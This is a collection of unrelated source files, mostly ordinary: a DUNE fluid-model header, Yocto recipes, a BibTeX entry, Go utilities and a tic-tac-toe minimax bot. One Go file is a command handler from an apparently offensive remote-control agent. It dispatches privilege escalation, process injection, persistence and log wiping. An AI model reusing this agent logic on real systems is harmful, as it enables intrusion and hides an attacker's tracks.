            = BaseType::velocitySpaceOrder;
        //! \copydoc Dune::DiscreteOseenModelInterface::pressureSpaceOrder
        static const int pressureSpaceOrder
            = BaseType::pressureSpaceOrder;
        //! type of analytical force (usually Dune::Fem::Function)
        typedef typename BaseType::AnalyticalForceType
            AnalyticalForceType;
    private:

        //! Vector type of the velocity's discrete function space's range
        typedef typename BaseType::VelocityRangeType
            VelocityRangeType;

        //! Matrix type of the sigma's discrete function space's range
        typedef typename BaseType::SigmaRangeType
            SigmaRangeType;

        //! Vector type of the pressure's discrete function space's range
        typedef typename BaseType::PressureRangeType
            PressureRangeType;

        //! type of analytical dirichlet data (usually Dune::Fem::Function)
        typedef typename BaseType::AnalyticalDirichletDataType
            AnalyticalDirichletDataType;

    public:

        //! \copydoc Dune::DiscreteOseenModelInterface::Side
        typedef enum BaseType::Side
            Side;

        /**
         *  \brief  constructor
         *
         *  sets the coefficients and analytical data
         *  \param[in]  C_11
         *          \f$C_{11}\in R\f$
         *  \param[in]  C_12
         *          \f$C_{12}\in R^{d}\f$
         *  \param[in]  D_11
         *          \f$D_{11}\in R\f$
         *  \param[in]  D_12
         *          \f$D_{12}\in R^{d}\f$
         *  \param[in]  force
         *          analytical force
         *  \param[in]  dirichletData
         *          analytical dirichlet data
         *  \param[in]  viscosity
         *          viscosity of the fluid
         **/
        DiscreteOseenModelDefault( const StabilizationCoefficients stab_coeff_in,
                                    const AnalyticalForceType force_in,
                                    const AnalyticalDirichletDataType dirichletData_in,
                                    const double viscosity_in = 1.0,
                                    const double alpha_in = 0.0,
                                   const double convection_scaling_in = 1.0,
                                   const double pressure_gradient_scaling_in = 1.0
                                   )
            : viscosity_( viscosity_in ),
            alpha_( alpha_in ),
            convection_scaling_( convection_scaling_in ),
            pressure_gradient_scaling_( pressure_gradient_scaling_in ),
            stabil_coeff_( stab_coeff_in ),
            force_( force_in ),
            dirichletData_( dirichletData_in )
        {
//            if ( !isGeneralized() ) {
//                if ( ( alpha_ < 0.0 ) || ( alpha_ > 0.0 ) ) {
//                    assert( !"isGeneralized() returns false, but alpha is not zero!" );
//                }
//            }
        }

        /**
         *  \brief  destructor
         *
         *  does nothing
         **/
    virtual ~DiscreteOseenModelDefault()
        {}

        const StabilizationCoefficients& getStabilizationCoefficients() const {
            return stabil_coeff_;
        }

        /**
         *  \brief  returns true
         *
         *  since problem has a \f$\hat{u}_{\sigma}\f$ contribution
         *  \return true
         **/
        bool hasVelocitySigmaFlux() const
        {
            return true;
        }

        /**
         *  \brief  returns true
         *
         *  since problem has a \f$\hat{u}_{p}\f$ contribution
         *  \return true
         **/
        bool hasVelocityPressureFlux() const
        {
            return true;
        }

        /**
         *  \brief  returns true
         *
         *  since problem has a \f$\hat{p}\f$ contribution
         *  \return true
         **/
        bool hasPressureFlux() const
        {
            return true;
        }

        /**
         *  \brief  returns true
         *
         *  since problem has a \f$\hat{\sigma}\f$ contribution
         *  \return true
         **/
        bool hasSigmaFlux() const
        {
            return true;
        }

        /**
         *  \brief  returns true
         *
         *  since problem has a \f$f\f$ contribution
         *  \return true
         **/
        bool hasForce() const
        {
            return true;
        }

        /**
         *  \brief  Implementation of \f$f\f$.
         *
         *          Evaluates the analytical force given by the constructor
         *
         *  \tparam DomainType
         *          domain type in entity (codim 0)
         *  \param[in]  time
         *          global time
         *  \param[in]  x
         *          point to evaluate at (in world coordinates)
         *  \param[out]  forceReturn
         *          value of \f$f\f$ in \f$x\f$
         **/
        template < class DomainType >
        void force( const double /*time*/,
                    const DomainType& x,
                    VelocityRangeType& forceReturn ) const
        {
            force_.evaluate( x, forceReturn );
        }

        template < class IntersectionType, class DomainType >
        void dirichletData( const IntersectionType& intIt,
                            const double /*time*/,
                            const DomainType& x,
                            VelocityRangeType& dirichletDataReturn ) const
        {
            assert( ( !intIt.neighbor() && intIt.boundary() ) || !"this intersection does not lie on the boundary" );
            dirichletData_.evaluate( x, dirichletDataReturn, intIt );
        }

        /**
         *  \brief  Returns the viscosity \f$\mu\f$ of the fluid.
         *  \return \f$\mu\f$
         **/
        double viscosity() const
        {
            return viscosity_;
        }

        /**
         *  \brief  constant for generalized stokes
         *
         *  \todo   doc
         **/
        double alpha() const
        {
            return alpha_;
        }

        bool isGeneralized() const
        {
            return false;
        }

        //! ZAF
        double convection_scaling() const
        {
            return convection_scaling_;
        }

        //! ZAF
        double pressure_gradient_scaling() const
        {
            return pressure_gradient_scaling_;
        }

        const AnalyticalForceType& forceF() const
        {
            return force_;
        }

    private:

        const double viscosity_;
        const double alpha_;
        const double convection_scaling_;
        const double pressure_gradient_scaling_;
        StabilizationCoefficients stabil_coeff_;
        const AnalyticalForceType force_;
        const AnalyticalDirichletDataType dirichletData_;

        /**
         *  \brief  dyadic product
         *
         *          Implements \f$\left(arg_{1} \otimes arg_{2}\right)_{i,j}:={arg_{1}}_{i} {arg_{2}}_{j}\f$
         **/
        SigmaRangeType dyadicProduct(   const VelocityRangeType& arg1,
                                        const VelocityRangeType& arg2 ) const
        {
            SigmaRangeType ret( 0.0 );
            typedef typename SigmaRangeType::RowIterator
                MatrixRowIteratorType;
            typedef typename VelocityRangeType::ConstIterator
                ConstVectorIteratorType;
            typedef typename VelocityRangeType::Iterator
                VectorIteratorType;
            MatrixRowIteratorType rItEnd = ret.end();
            ConstVectorIteratorType arg1It = arg1.begin();
            for ( MatrixRowIteratorType rIt = ret.begin(); rIt != rItEnd; ++rIt ) {
                ConstVectorIteratorType arg2It = arg2.begin();
                VectorIteratorType vItEnd = rIt->end();
                for (   VectorIteratorType vIt = rIt->begin();
                        vIt != vItEnd;
                        ++vIt ) {
                    *vIt = *arg1It * *arg2It;
                    ++arg2It;
                }
                ++arg1It;
            }
        }

        //! avoid code duplication by doing calculations for C_1X and D_1X here
        template < class LocalPoint >
        double getStabScalar( const LocalPoint& /*x*/ , const IntersectionIteratorType& it, const std::string coeffName ) const
        {
            const StabilizationCoefficients::PowerType  power   = stabil_coeff_.Power   ( coeffName );
            const StabilizationCoefficients::FactorType factor  = stabil_coeff_.Factor  ( coeffName );
            if ( power == StabilizationCoefficients::invalid_power ) {
                return 0.0;
            }
//                return std::pow( it.geometry().integrationElement( x ), param );
            return factor * std::pow( getLenghtOfIntersection( *it ), power );
        }
};

} // end of namespace Dune

/** Copyright (c) 2012, Felix Albrecht, Rene Milk
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * 1. Redistributions of source code must retain the above copyright notice, this
 *    list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright notice,
 *    this list of conditions and the following disclaimer in the documentation
 *    and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
 * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * The views and conclusions contained in the software and documentation are those
 * of the authors and should not be interpreted as representing official policies,
 * either expressed or implied, of the FreeBSD Project.
**/
#endif // MODELDEFAULT_HH

repository: renefritze/DUNE-FEM-Oseen

repo_name: renefritze/DUNE-FEM-Oseen

extension: hh


text:
SUMMARY = "A reliable logging library"
HOMEPAGE = "https://github.com/rsyslog/librelp"

LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=1fb9c10ed9fd6826757615455ca893a9"

DEPENDS = "gmp libidn zlib"

SRC_URI = "git://github.com/rsyslog/librelp.git;protocol=https;branch=stable \
           file://0001-Fix-function-inline-errors-in-debug-optimization-Og.patch \
           file://0001-tests-Fix-callback-prototype.patch \
           file://0001-tcp-fix-some-compiler-warnings-with-enable-tls-opens.patch \
           file://0001-tests-Include-missing-sys-time.h.patch \
           file://run-ptest \
"

SRCREV = "b421f56d9ee31a966058d23bd23c966221c91396"

S = "${WORKDIR}/git"

inherit autotools pkgconfig ptest

PACKAGECONFIG ?= "tls-openssl valgrind"
# Valgrind is not available for RISCV yet
PACKAGECONFIG:remove:riscv64 = "valgrind"
PACKAGECONFIG:remove:riscv32 = "valgrind"

PACKAGECONFIG[tls] = "--enable-tls,--disable-tls,gnutls nettle"
PACKAGECONFIG[tls-openssl] = "--enable-tls-openssl,--disable-tls-openssl,openssl"
PACKAGECONFIG[valgrind] = "--enable-valgrind,--disable-valgrind,"

# For ptests, copy source tests/*.sh scripts, Makefile and
# executables and run them with make on target.
TESTDIR = "tests"
do_compile_ptest() {
    echo 'buildtest-TESTS: $(check_PROGRAMS)' >> ${TESTDIR}/Makefile
    oe_runmake -C ${TESTDIR} buildtest-TESTS
}

do_install_ptest() {
    install -d ${D}${PTEST_PATH}/${TESTDIR}

    # copy source tests/*.sh and python scripts
    cp -f ${S}/${TESTDIR}/*.sh ${S}/${TESTDIR}/*.py ${D}${PTEST_PATH}/${TESTDIR}
    # install data files needed by the test scripts on the target
    cp -f ${S}/${TESTDIR}/*.supp ${D}${PTEST_PATH}/${TESTDIR}
    cp -rf ${S}/${TESTDIR}/tls-certs ${D}${PTEST_PATH}/${TESTDIR}

    # copy executables
    find ${B}/${TESTDIR} -type f -executable -exec cp {} ${D}${PTEST_PATH}/${TESTDIR} \;
    cp -rf ${B}/${TESTDIR}/.libs ${D}${PTEST_PATH}/${TESTDIR}
    # copy Makefile
    # run-ptest will run make which runs the executables
    cp -f ${B}/${TESTDIR}/Makefile ${D}${PTEST_PATH}/${TESTDIR}
    cp -f ${B}/${TESTDIR}/set-envvars ${D}${PTEST_PATH}/${TESTDIR}

    # give permissions to all users
    # some tests need to write to this directory
    chmod 777 -R ${D}${PTEST_PATH}/${TESTDIR}

    # do NOT need to rebuild Makefile or $(check_PROGRAMS)
    sed -i 's/^Makefile:.*$/Makefile:/' ${D}${PTEST_PATH}/${TESTDIR}/Makefile
    sed -i 's/^check-TESTS:.*$/check-TESTS:/' ${D}${PTEST_PATH}/${TESTDIR}/Makefile

    # fix the srcdir, top_srcdir, abs_top_builddir
    sed -i 's,^\(srcdir = \).*,\1${PTEST_PATH}/${TESTDIR},' ${D}${PTEST_PATH}/${TESTDIR}/Makefile
    sed -i 's,^\(top_srcdir = \).*,\1${PTEST_PATH}/${TESTDIR},' ${D}${PTEST_PATH}/${TESTDIR}/Makefile
    sed -i 's,^\(abs_top_builddir = \).*,\1${PTEST_PATH}/,' ${D}${PTEST_PATH}/${TESTDIR}/Makefile

    # install test-driver
    install -m 644 ${S}/test-driver ${D}${PTEST_PATH}

    # fix the python3 path for tests/set-envar
    sed -i -e s:${HOSTTOOLS_DIR}:${bindir}:g ${D}${PTEST_PATH}/${TESTDIR}/set-envvars

    # these 2 scripts need help finding their /usr/lib/librelp/ptest/tests/.libs libraries
    sed -i 's:${B}/src:${PTEST_PATH}/${TESTDIR}:' ${D}${PTEST_PATH}/${TESTDIR}/send
    sed -i 's:${B}/src:${PTEST_PATH}/${TESTDIR}:' ${D}${PTEST_PATH}/${TESTDIR}/receive
}

RDEPENDS:${PN}-ptest += "\
  make bash coreutils libgcc util-linux gawk grep \
  python3-core python3-io \
"
RRECOMMENDS:${PN}-ptest += "${@bb.utils.filter('PACKAGECONFIG', 'valgrind', d)}"

repository: YoeDistro/meta-openembedded

repo_name: YoeDistro/meta-openembedded


text:
@article{tonkin16-contex-depen,
 abstract = {Context dependency is an emerging topic that is
challenging our understanding of the factors shaping
biodiversity in metacommunities. River networks and
other dendritic systems provide unique systems for
examining variation in the processes shaping
biodiversity between different metacommunities. We
examined biodiversity patterns in five benthic
invertebrate data sets, from two catchments in
central Germany, with the aim of exploring context
dependency in these systems. We used variance
partitioning to disentangle the variation explained
in three biodiversity metrics: taxonomic richness,
Simpson's diversity and local contribution to beta
diversity (LCBD; a measure of the uniqueness of a
site). As explanatory variables, we used proxies of
network position (i.e. catchment size and altitude)
and habitat conditions. Contrary to our expectation,
we found no evidence of a decline in LCBD downstream
in our study. Local habitat conditions and catchment
land use played a much stronger role than catchment
size and altitude in explaining variation in the
three biodiversity metrics. Observed patterns were
highly variable between different data sets in our
study. These findings suggest that factors shaping
biodiversity patterns in these systems are highly
context dependent and less related to their position
along the river network than local habitat
conditions. Given the clear context dependency
between data sets, we urge researchers to focus on
disentangling the factors driving the high levels of
variability between individual systems through the
study of a number of replicate, rather than single,
metacommunities.},
 author = {Tonkin, J.D. and Heino, J. and Sundermann, A. and
Haase, P. and Jähnig, S.C.},
 author_keywords = {Benthic invertebrates; Beta diversity; Local
contribution to beta diversity; River network;
Variance partitioning},
 doi = {10.1111/fwb.12728},
 journal = {Freshwater Biology},
 number = {5},
 pages = {607-620},
 title = {Context dependency in biodiversity patterns of
central German stream metacommunities},
 url = {https://doi.org/10.1111/fwb.12728},
 volume = {61},
 year = {2016}
}

repository: tonkinlab/tonkinlab

repo_name: tonkinlab/tonkinlab


text:
require python-cryptography.inc

inherit setuptools

RDEPENDS_${PN} += " \
    python-enum34 \
    python-ipaddress \
    python-numbers \
"

repository: meta-debian/meta-debian

repo_name: meta-debian/meta-debian


text:
// message
package service

import (
	"log"
	. "model"
	"repository"
)

func SendMessage(msg *Message, payload string) {
	// panic recovery

	err := repository.AddMessage(msg, payload, 50)
	if err != nil {
		log.Println("send message failed!", msg.Sender, " to ", msg.Receiver, " body", payload)
	}
}

func ReceiveMessage(receiver string, sender string, last string) []*MessageWithId {
	// panic recovery
	result, err := repository.GetMessages(receiver, sender, last, 50)
	if err != nil {
		log.Println("receive message failed", receiver, last)
	}
	return result
}


text:
SUMMARY = "MCTP Daemon"
DESCRIPTION = "Implementation of MCTP (DTMF DSP0236)"

LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=bcd9ada3a943f58551867d72893cc9ab"

SRC_URI = "git://github.com/Intel-BMC/pmci.git;protocol=ssh"
SRCREV = "07adfb357cdb679bf9bbcf2eaff7406cfb5fd52b"

S = "${WORKDIR}/git/mctp_emulator"

PV = "1.0+git${SRCPV}"

inherit cmake systemd

FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"

DEPENDS += " \
    libmctp-intel \
    systemd \
    sdbusplus \
    phosphor-logging \
    boost \
    i2c-tools \
    cli11 \
    nlohmann-json \
    gtest \
    "

SYSTEMD_SERVICE_${PN} = "xyz.openbmc_project.mctp-emulator.service"

branch_name: refs/heads/intel

gha_license_id: NOASSERTION


text:
package main

import (
	"log"
	"net"
)

type LogEntry struct {
	Level   string  `json:"level"`
	Ts      float64 `json:"ts"`
	Logger  string  `json:"logger"`
	Msg     string  `json:"msg"`
	Request struct {
		Method     string              `json:"method"`
		URI        string              `json:"uri"`
		Proto      string              `json:"proto"`
		RemoteAddr string              `json:"remote_addr"`
		Host       string              `json:"host"`
		Headers    map[string][]string `json:"headers"`
		TLS        struct {
			Resumed     bool   `json:"resumed"`
			Version     int    `json:"version"`
			Ciphersuite int    `json:"ciphersuite"`
			Proto       string `json:"proto"`
			ProtoMutual bool   `json:"proto_mutual"`
			ServerName  string `json:"server_name"`
		} `json:"tls"`
	} `json:"request"`
	CommonLog string  `json:"common_log"`
	Duration  float64 `json:"duration"`
	Size      int     `json:"size"`
	Status    int     `json:"status"`
}

func (entry *LogEntry) UserAgent() string {
	return entry.getRequestHeader("User-Agent")
}

func (entry *LogEntry) RemoteAddr() string {
	host, _, err := net.SplitHostPort(entry.Request.RemoteAddr)
	if err != nil {
		log.Println(err)
	}
	return host
}

func (entry *LogEntry) getRequestHeader(key string) string {
	values, exists := entry.Request.Headers[key]
	if !exists {
		return ""
	}
	return values[0]
}


text:
# This recipe was inspired from:
# https://layers.openembedded.org/layerindex/recipe/87611/
DESCRIPTION = "single-file public domain (or MIT licensed) libraries for C/C++"
SUMMARY = "C/C++ header only utility libraries"
HOMEPAGE = "https://github.com/nothings/stb"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://README.md;md5=42144ce827adcfa5170032f0ea03c227"

SRCREV = "e6afb9cbae4064da8c3e69af3ff5c4629579c1d2"

SRC_URI = " \
    git://github.com/nothings/stb.git;branch=master \
"

S = "${WORKDIR}/git"

do_install() {
    install -d ${D}${includedir}
    for hdr in ${S}/*.h
    do
        install -m 0644 $hdr ${D}${includedir}
    done
}

FILES_${PN} = " \
        ${includedir} \
"

repository: patersonc/meta-renesas-ai

repo_name: patersonc/meta-renesas-ai


text:
//go:build nodaemon
// +build nodaemon

package main

import (
	"errors"

	"github.com/urfave/cli/v2"
)

// DaemonCmd is the `go-lotus daemon` command
var DaemonCmd = &cli.Command{
	Name:  "daemon",
	Usage: "Start a lotus daemon process",
	Flags: []cli.Flag{
		&cli.StringFlag{
			Name:  "api",
			Value: ":1234",
		},
	},
	Action: func(cctx *cli.Context) error {
		return errors.New("daemon support not included in this binary")
	},
}

repository: filecoin-project/lotus

repo_name: filecoin-project/lotus


text:
package viewmodels

import (
	"github.com/apexskier/httpauth"
	"github.com/turnkey-commerce/go-ping-sites/database"
	"html/template"
)

// SiteEditViewModel holds the required information about the site to choose for editing.
type SiteEditViewModel struct {
	SiteID              int64
	Name                string
	IsActive            bool
	URL                 string
	PingIntervalSeconds int
	TimeoutSeconds      int
	NumContacts         int
}

// SettingsViewModel holds the view information for the settings.gohtml template
type SettingsViewModel struct {
	Error     error
	Title     string
	Sites     []SiteEditViewModel
	Nav       NavViewModel
	CsrfField template.HTML
}

// GetSettingsViewModel populates the items required by the settings.gohtml view
func GetSettingsViewModel(sites database.Sites, isAuthenticated bool, user httpauth.UserData, err error) SettingsViewModel {
	nav := NavViewModel{
		Active:          "settings",
		IsAuthenticated: isAuthenticated,
		User:            user,
	}

	result := SettingsViewModel{
		Title: "Go Ping Sites - Settings",
		Nav:   nav,
	}

	for _, site := range sites {
		siteVM := new(SiteEditViewModel)
		siteVM.Name = site.Name
		siteVM.URL = site.URL
		siteVM.SiteID = site.SiteID
		siteVM.PingIntervalSeconds = site.PingIntervalSeconds
		siteVM.TimeoutSeconds = site.TimeoutSeconds
		siteVM.NumContacts = len(site.Contacts)
		siteVM.IsActive = site.IsActive
		result.Sites = append(result.Sites, *siteVM)
	}

	return result
}

repository: turnkey-commerce/go-ping-sites

repo_name: turnkey-commerce/go-ping-sites


text:
//go:build linux
// +build linux

package agent

import (
	"fmt"
	"log"
	"os"
	"strconv"

	emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
)

func platformC2CommandsHandler(cmdSlice []string) (out string) {
	var err error

	switch cmdSlice[0] {

	case emp3r0r_data.C2CmdLPE:
		// LPE helper
		// !lpe script_name
		if len(cmdSlice) < 2 {
			out = fmt.Sprintf("args error: %s", cmdSlice)
			log.Printf(out)
			return
		}

		helper := cmdSlice[1]
		out = lpeHelper(helper)
		return

		// GDB inject
	case emp3r0r_data.C2CmdInject:
		if len(cmdSlice) != 3 {
			out = fmt.Sprintf("args error: %v", cmdSlice)
			return
		}
		out = fmt.Sprintf("%s: success", cmdSlice[1])
		pid, err := strconv.ParseInt(cmdSlice[2], 10, 32)
		if err != nil {
			log.Print("Invalid pid")
		}
		err = InjectorHandler(int(pid), cmdSlice[1])
		if err != nil {
			out = "failed: " + err.Error()
		}
		return

		// persistence
	case emp3r0r_data.C2CmdPersistence:
		if len(cmdSlice) != 2 {
			out = fmt.Sprintf("args error: %v", cmdSlice)
			return
		}
		out = "Success"
		SelfCopy()
		if cmdSlice[1] == "all" {
			err = PersistAllInOne()
			if err != nil {
				log.Print(err)
				out = fmt.Sprintf("Result: %v", err)
			}
		} else {
			out = "No such method available"
			if method, exists := PersistMethods[cmdSlice[1]]; exists {
				out = "Success"
				err = method()
				if err != nil {
					log.Println(err)
					out = fmt.Sprintf("Result: %v", err)
				}
			}
		}
		return

		// get_root
	case emp3r0r_data.C2CmdGetRoot:
		if os.Geteuid() == 0 {
			out = "You already have root!"
		} else {
			err = GetRoot()
			out = fmt.Sprintf("LPE exploit failed:\n%v", err)
			if err == nil {
				out = "Got root!"
			}
		}
		return

		// log cleaner
	case emp3r0r_data.C2CmdCleanLog:
		if len(cmdSlice) != 2 {
			out = fmt.Sprintf("args error: %v", cmdSlice)
			return
		}
		keyword := cmdSlice[1]
		out = "Done"
		err = CleanAllByKeyword(keyword)
		if err != nil {
			out = err.Error()
		}
		return
	}

	return fmt.Sprintf("Unknown command %v", cmdSlice)
}


text:
//
// C++ Interface: Generator
//
// Author: Michael Schmidt, Christoph Pinkel <>, (C) 2007-2008
// Copyright: See COPYING file that comes with this distribution
//
#ifndef GENERATOR_H
#define GENERATOR_H

#include "stdio.h"
#include <iostream>
#include <unistd.h>
#include <vector>
#include "cmdline.h"
#include "default.h"
#include "version.h"
#include "outputlimitmgr.h"
#include "rdftriple.h"
#include "rdftriplepool.h"
#include "functions.h"
#include "proceedings.h"
#include "inproceedings.h"
#include "article.h"
#include "journal.h"
#include "incollection.h"
#include "book.h"
#include "phdthesis.h"
#include "mastersthesis.h"
#include "www.h"
#include "gaussiandistribution.h"
#include "propertyjournal.h"
#include "activeauthors.h"
#include "author.h"
#include "editor.h"
#include "missingcites.h"
#include "blindrdftriple.h"
#include "referencebag.h"
#include "referencebagreference.h"

#define DBLP_STARTYEAR 1936 // real DBLP start year

#ifdef LOGMODE
#include "instancelogger.h"
#endif

using namespace std;

/**
* Main class (output generator). Incrementally produces output file until
* desired size is reached.
*/
class Generator
{
public:
    Generator(CmdLine* _cmd);
    virtual ~Generator();

    void generate();
private:
    void generateYear(unsigned,unsigned &,unsigned &,unsigned &, unsigned &, unsigned &,
                        unsigned &, unsigned &, unsigned &, unsigned &, unsigned &);

    RDFTriplePool generateConferences(unsigned,unsigned &);
    RDFTriplePool generateInProceedings(unsigned, RDFTriplePool *,unsigned &);
    RDFTriplePool generateJournals(unsigned,unsigned &);
    RDFTriplePool generateArticles(unsigned, RDFTriplePool *,unsigned &);
    RDFTriplePool generateOthers(unsigned,unsigned &,unsigned &,unsigned &,
									unsigned &,unsigned &);
    RDFTriplePool generateAuthor(unsigned);
    unsigned store(vector <char *>);

    CmdLine *cmd;
    OutputLimitMgr olm;
    ActiveAuthors* auths; // permanent pool
    MissingCites missingcites; // permanent pool
};

#endif // GENERATOR_H

extension: h


text:
/*******************************************************************************
 * The MIT License (MIT)
 *
 * Copyright (c) 2016 Abdulla Gaibullaev
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 ******************************************************************************/

#include <iostream>
#include <map>
#include <algorithm>
#include <sstream>
#include <time.h>

typedef std::pair<int, int> _move_t;

typedef __int64_t _score_t;

#define INF INT64_MAX

int winningPatterns[] = {
        0b111000000, 0b000111000, 0b000000111, // rows
        0b100100100, 0b010010010, 0b001001001, // cols
        0b100010001, 0b001010100 // diagonals
};

const _score_t MACRO_WIN_SCORE = 1000000;
const _score_t MICRO_WIN_SCORE = 1000;

std::map<int, _score_t> scoreAssign;

//  mapping between a bit's position and corresponding cell coordinates in matrix
std::vector<std::pair<int, int>> posPatterns(9);

std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems) {
    std::stringstream ss(s);
    std::string item;
    elems.clear();
    while (std::getline(ss, item, delim)) {
        elems.push_back(item);
    }
    return elems;
}

int stringToInt(const std::string &s) {
    std::istringstream ss(s);
    int result;
    ss >> result;
    return result;
}

/**
 * This class implements all IO operations.
 * Only one method must be realized:
 *
 *      > Bot::action
 *
 */
class Bot {

public:

    /**
     * Initialize your bot here.
     */
    Bot() {
        srand(static_cast<unsigned int>(time(0)));
        _field.resize(81);
        _macroboard.resize(9);

        //  init posPatterns
        for (int i = 0; i < 9; i++) {
            posPatterns[i].first = i % 3;
            posPatterns[i].second = i / 3;
        }
    }

    void loop() {
        std::string line;
        std::vector<std::string> command;
        command.reserve(256);

        while (std::getline(std::cin, line)) {
            processCommand(split(line, ' ', command));
        }
    }

public:

    /**
     * Implement this function.
     * type is always "move"
     *
     * return value must be position in x,y presentation
     *      (use std::make_pair(x, y))
     */
    std::pair<int, int> action(const std::string &type, int time) {
        Bot bot = (*this);
        std::vector<int> moves = getAvailableMoves();

        _move_t nextMove;

        //  make the first move in the center
        if (_move == 1)
            return _move_t(4, 4);

        //  if I have to move in an empty square, do it so the opponent's move
        //  will be in the same square -> better control
        if (isEmptySquare(moves)) {
            _move_t aux = convertToCoord(moves[0]);
            return _move_t(4 * (aux.first / 3), 4 * (aux.second / 3));
        }

        //  if there is a square that can be won directly
        //  that will lead to the end of the game in my favor
        if (multipleActiveSquares()) {
            nextMove = tryToWinGame(moves, _botId);

            //  if such a move exists
            if (nextMove.first != -1 && nextMove.second != -1)
                return nextMove;
        }

        //  get best move using minimax
        //TODO
        _score_t score = -INF;
        _score_t alpha = -INF;
        _score_t beta = INF;

        //  dynamically compute depth, based upon the number of available moves
//        int depth = getDepth((int) moves.size());
        int depth = 7;

        //  clone current field in order to be able to simulate moves
        Bot clone = Bot::clone(bot);

        //  for each available move
        for (int m : moves) {
            _move_t c_move = convertToCoord(m);

            //  simulate current move
            clone.simulateMove(c_move, _botId);

            //  calculate this move's score
            _score_t currentScore = minimax(clone, depth, alpha, beta, _opponentId);
            std::cerr << "current: " << c_move.first << " " << c_move.second << " " << currentScore << std::endl;

            //  undo this move
            clone.undoMove(c_move, bot);

            //  update general score and move
            if (currentScore > score) {
                score = currentScore;
                nextMove = c_move;
            }
        }

        std::cerr << "next: " << nextMove.first << " " << nextMove.second << " " << score << std::endl;
        return nextMove;
    }

    std::vector<int> getAvailableMoves() {
        std::vector<int> moves;

        for (int i = 0; i < 81; ++i) {
            int blockId = ((i / 27) * 3) + (i % 9) / 3;
            if (_macroboard[blockId] == -1 && _field[i] == 0) {
                moves.push_back(i);
            }
        }

        return moves;
    }

    bool isEmptySquare(std::vector<int> moves) {
        if (moves.size() != 9)
            return false;
        else {
            _move_t start = convertToCoord(moves[0]);
            _move_t end = convertToCoord(moves[8]);

            return start.first + 2 == end.first &&
                   start.second + 2 == end.second;
        }
    }

    _move_t convertToCoord(int m) {
        return _move_t(m % 9, m / 9);
    };

    int convertToInt(_move_t move) {
        return 9 * move.second + move.first;
    }

    //  used at final states: wins the entire game (without alpha-beta)
    _move_t tryToWinGame(std::vector<int> moves, int player) {
        int pattern = constructPattern(_macroboard, player);

        for (int wp : winningPatterns) {
            //  i know for sure that there is an optimal square
            std::pair<int, int> squarePos = getPos(pattern, wp);

            if (squarePos.first != -1 && squarePos.second != -1) {

                std::vector<int> auxsq = getSquareFromBoard(squarePos.first, squarePos.second, _field);
                int auxPattern = constructPattern(auxsq, player);

                for (int _wp : winningPatterns) {
                    //  i know for sure that there is an optimal move
                    std::pair<int, int> movePos = getPos(auxPattern, _wp);
                    if (movePos.first != -1 && movePos.second != -1) {

                        int x = 3 * squarePos.second + movePos.second;
                        int y = 3 * squarePos.first + movePos.first;

                        int _move = 9 * x + y;

                        if (std::find(moves.begin(), moves.end(), _move) != moves.end())
                            return convertToCoord(_move);
                    }
                }
            }

        }

        return _move_t(-1, -1);
    }

    /* minimax */

    //  dynamically compute depth
    //  depth is inversely proportional to the moves' size
    int getDepth(int movesSize) {
        if (_round < 18 && movesSize > 7)
            return 4;

        int depth = 7;

        if (movesSize == 5)
            depth = 8;

        else if (movesSize < 5)
            depth = 9;

        if (movesSize > 7 && movesSize <= 10)
            depth = 5;

        else if (movesSize > 10 && movesSize <= 17)
            depth = 4;

        else if (movesSize > 17 && movesSize <= 46)
            depth = 3;

        else if (movesSize > 46)
            depth = 2;

        if (_timePerMove < 4000 && depth > 3)
            depth = 3;

        else if (_timePerMove < 2000)
            depth = 1;

        return depth;
    }

    //  minimax + alpha-beta pruning
    _score_t minimax(Bot bot, int depth, _score_t alpha, _score_t beta, int player) {
        if (depth == 0 || bot.gameIsFinished()) {
            return bot.evaluate(_botId) - bot.evaluate(_opponentId);
        }

        _score_t score;

        //  clone current bot
        Bot clone = Bot::clone(bot);

        std::vector<int> moves = bot.getAvailableMoves();
        size_t movesSize = moves.size();

        //  compute depth
        if (movesSize > 7) {
